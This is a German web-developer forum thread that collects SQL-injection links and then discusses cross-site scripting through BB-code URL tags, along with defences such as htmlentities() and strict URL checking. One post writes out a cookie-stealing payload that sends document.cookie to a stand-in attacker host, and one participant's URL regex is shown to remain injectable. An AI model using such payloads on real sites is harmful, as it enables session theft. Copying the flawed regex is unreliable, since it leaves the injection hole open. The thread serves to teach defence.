#1
| ||||
| ||||
SQL-Injection - LinksHi. Da ich mich gerade damit befasse, bin ich über einige interessante Seiten zur SQL-Injection gestoßen. Wollte sie hier einfach mal aufschreiben, zum nachlesen. (Leider) bezieht sich das meiste auf PHP-Funktionen Für alle die nicht wissen was SQL Injections sind: http://de.wikipedia.org/wiki/SQL_Injection http://www.dclp-faq.de/q/q-sql-injection.html -> de.comp.lang.php.* FAQ (PHP) http://www.securityfocus.com/infocus/1709 -> Security Focus http://www.heise.de/security/artikel/43175 -> Heise Security http://www.nukecops.com/postt14289.html -> NukeCops (PHP) http://www.aspheute.com/artikel/20011030.htm -> ASP Heute Teil 1 (ASP) http://www.aspheute.com/artikel/20011031.htm -> ASP Heute Teil 2 (ASP) Hoffe Ihr könnt auch noch etwas beisteuern, evtl. wie Ihr es gemacht habt?! MFG MaMo __________________ Forensoftware mit integriertem CMS: Viscacha 0.8! |
#2
| ||||
| ||||
Danke, hab ich endlich ne Sammlung die ich meinem Freund geben kann, der sich für interessiert . __________________ Frederic Schneider WoltLab Team / WoltLab Wiki / GamePorts / Frederic Schneider / neuer-patriotismus.de |
#3
| ||||
| ||||
Zitat:
__________________ Frederic Schneider WoltLab Team / WoltLab Wiki / GamePorts / Frederic Schneider / neuer-patriotismus.de |
#4
| ||||
| ||||
Naja ich will gerne genau wissen was für fehler das sind, die ich habe und nicht nur wissen wie ich die verhinder. was is mit XSS bzw cookieklau gemeint? mfg __________________ Björn C. Klein Welt-Held! PunkRockNews.de |
#5
| ||||
| ||||
XSS steht für Cross Site Scripting. Das heisst Benutzer A schleust auf einer Seite beispielsweise ein JavaScript ein welches auf einer anderen Seite Benutzer B wieder angezeigt wird (z.B. über Posts oder PNs in denen HTML nicht entschärft wird). Das JavaScript kann dann bei Benutzer B ein Login Cookie oder eine Session ID klauen und Benutzer A übermitteln. Das wäre die gewöhnlichste Angriffsmethode via XSS. Gibts in einem Browser Sicherheitslücken kann man durch einschleusen von Scripts wie JavaScript oder JScript natürlich noch viel mehr anstellen Die Lösung ist auch hier relativ einfach: Ausgaben müssen beispielsweise via htmlentities() entschärft werden und wenn man URL in einem Text verlinkt sollte man aufpassen das der reguläre Ausdruck der das bewerkstelligt nicht zufällig ein paar Anführungszeichen mit in den Link einbaut. Denn schon damit könnte man einfach Cookies klauen. Ich sehe z.B. häufig Anfänger die [ url=...]...[/url] Tags folgendermaßen verlinken: PHP-Code: Das Problem ist das man damit als URL einen beliebigen Text eingeben kann. Angenommen ich schreibe folgenden Code: Code: [ url=" onMouseOver="document.location.href='http://angreifer.com/stealcookie.php?cookie=' + document.cookie]Danke für dein Cookie! Code: <a href="" onMouseOver="document.location.href='http://angreifer.com/stealcookie.php?cookie=' + document.cookie">Danke für dein Cookie!</a> |
#6
| ||||
| ||||
aha naja glaub xss ab ich verstanden wegen dem URL ich hab das so gelöst, dass es so ähnlich wie bei web.de über eine jump.php geht und mit urlencode() bearbeitet wird mfg __________________ Björn C. Klein Welt-Held! PunkRockNews.de |
#7
| ||||
| ||||
Zitat:
MfG MaMo __________________ Forensoftware mit integriertem CMS: Viscacha 0.8! |
#8
| |||
| |||
Im Notfall die Wirkung dieser Funktionen "nachahmen", oder gucken, ob es sie nicht auch in ihrer Sprache gibt. @exe: Herzlichen Danke. Dieses (riesige) Sicherheitsloch war mir bislang nicht bewusst. Hmm... da hab ich viele Lücken dieser Art... (bei Links ohne Beschreibung [bei denen mit hab ich`s seltsamerweise richtig gemacht...], bei IMG-Tags... aber gut. Danke dir. ) Wenn ich die RegExp nun so umformuliere: `\[url=((http://|ftp://|https://)?(.*?))\](.*?)\[/url\]`is sollte das Problem nicht bestehen, oder? Wie kann ich ansonsten verhindern, dass Javascript, o.ä., in mein Script gelangt? Ich mache es immer so, dass der Anwender meines Scripts von sich aus HTML in Einträgen (welcher Art nun auch immer) HTML aktivieren kann. Da ich aber dennoch nicht will, dass jemand mit solchen Sachen, wie von exe beschrieben, durchkommt muss ich mir wohl etwas einfallen lassen, wie ich sie verhindern kann. Wäre es sinnvoll, generell alle "onXYZ" zu entfernen? Sowie alles, was mit JavaScript/JScript in zusammenhang steht? __________________ Patrick Gotthardt Patrick Gotthardt on Software |
#9
| |||
| |||
Danke dir. Direkte Script- und Style-Bereiche habe ich bisher immer entfernt. Ich mache das allerdings so: PHP-Code: Dagegen hab ich das hier versucht: PHP-Code: So... hab jetzt eine Funktion fertig: PHP-Code: Gibt es sonst noch risiken, die ich verringern muss? Danke schonmal. __________________ Patrick Gotthardt Patrick Gotthardt on Software |
#10
| |||
| |||
Ok. 1.) Wieso wird`s ganz ersetzt? Ich ersetze ja nur das "<" durch "<". 2.) Ok. Ist ja wirklich einfacher. " 3.) Wieso? Die Ausgabe ändert sich da nicht. " __________________ Patrick Gotthardt Patrick Gotthardt on Software |
#11
| |||
| |||
Ok. Danke dir. Vorteil an der Variante ist sowieso, dass sie kürzer ist. " __________________ Patrick Gotthardt Patrick Gotthardt on Software |
#12
| ||||
| ||||
Ich mache das bei mir so das Texte wie Posts vor dem Parsen der BB-Codes mit htmlentities() behandelt werden. Das stellt sicher das alle Zeichen, für die es eine HTML-Entitie gibt (also auch Umlaute und Anführungszeichen) entsprechend ersetzt werden. Wenn ich dann später URLs im Text suche oder BB-Codes parse fällt diese Fehlerquelle schonmal weg, ausserdem prüfe ich beispielsweise URLs zusätzlich noch auf korrekte Syntax. Ich würde auch nicht spezifisch auf JavaScript losgehen und alle Script-Tags und Event Handler aus dem Text entfernen. Das macht viel zu viel Aufwand und übersehen kann man immer was. Zitat:
Ich kann immernoch einen Link wie [ url=http://" onmouseover="...]klick mich[/url] angeben. Die sichere Variante ist das Format der URL vom ersten bis zum letzten Zeichen überprüfen oder unerlaubte Zeichen von vornerein via htmlentities() zu entschärfen. Sobald du einen Platzhalter wie (.*?) in deinem Ausdruck hast kann man beliebige Zeichen einschmuggeln. |
#13
| ||||
| ||||
Ich hab doch nichts anderes gesagt. htmlentities() ersetzt Zeichen durch ihre entsprechenden HTML-Entities so das sie normal angezeigt werden und keine Probleme im Text bereiten. Oder auf was willst du hinaus? |
#14
| ||||
| ||||
Was meinst du bitte mit "HTML an haben"? Und was soll dann möglich sein? Erklär dich mal bitte, ich versteh kein Wort von dem was du sagst ... |
#15
| ||||
| ||||
Ach so meinst du das .. Nun, ich baue diese Funktion ("HTML aktivieren") nie in eine Software ein, weil ich sie ehrlich gesagt für Blödsinn halte. Ich habe einfach keine Lust für eine Funktion, die sowieso nur jemand benutzt der von Sicherheit keine Ahnung hat oder den sie nicht interessiert, unzählige potentielle Sicherheitslücken zu stopfen. Wenn irgendwelche spezielle Darstellungen benötigt werden, wird dafür ein BB-Code zur Verfügung gestellt, fertig. Würde ich die Möglichkeit, HTML zu aktivieren, zulassen, so würde ich auch dafür sorgen das keine Scriptinganweisungen in den Browser eingeschleust werden können. |
Stichworte |
- |
Themen-Optionen | |
Thema bewerten | |
LinkBacks (?)
LinkBack to this Thread: https://boardunity.de/sql-injection-links-t1710.html | ||||
Erstellt von | For | Type | Datum | |
PHP-FUSION Deutschland - Support Forum | This thread | Refback | 25.03.2008 15:20 |
Ähnliche Themen | ||||
Thema | Autor | Forum | Antworten | Letzter Beitrag |
XHTML 1.1 und Links | Jan Stöver | Programmierung und Datenbanken | 24 | 24.03.2005 17:38 |
So schöne Links | Gast | Programmierung und Datenbanken | 6 | 05.02.2005 07:44 |
Text pur aus einer SQL Extrahieren ? | themaster | Programmierung und Datenbanken | 2 | 07.09.2004 11:32 |
interne links benennen ... | solanum | Web Design und Grafik | 3 | 04.06.2004 16:19 |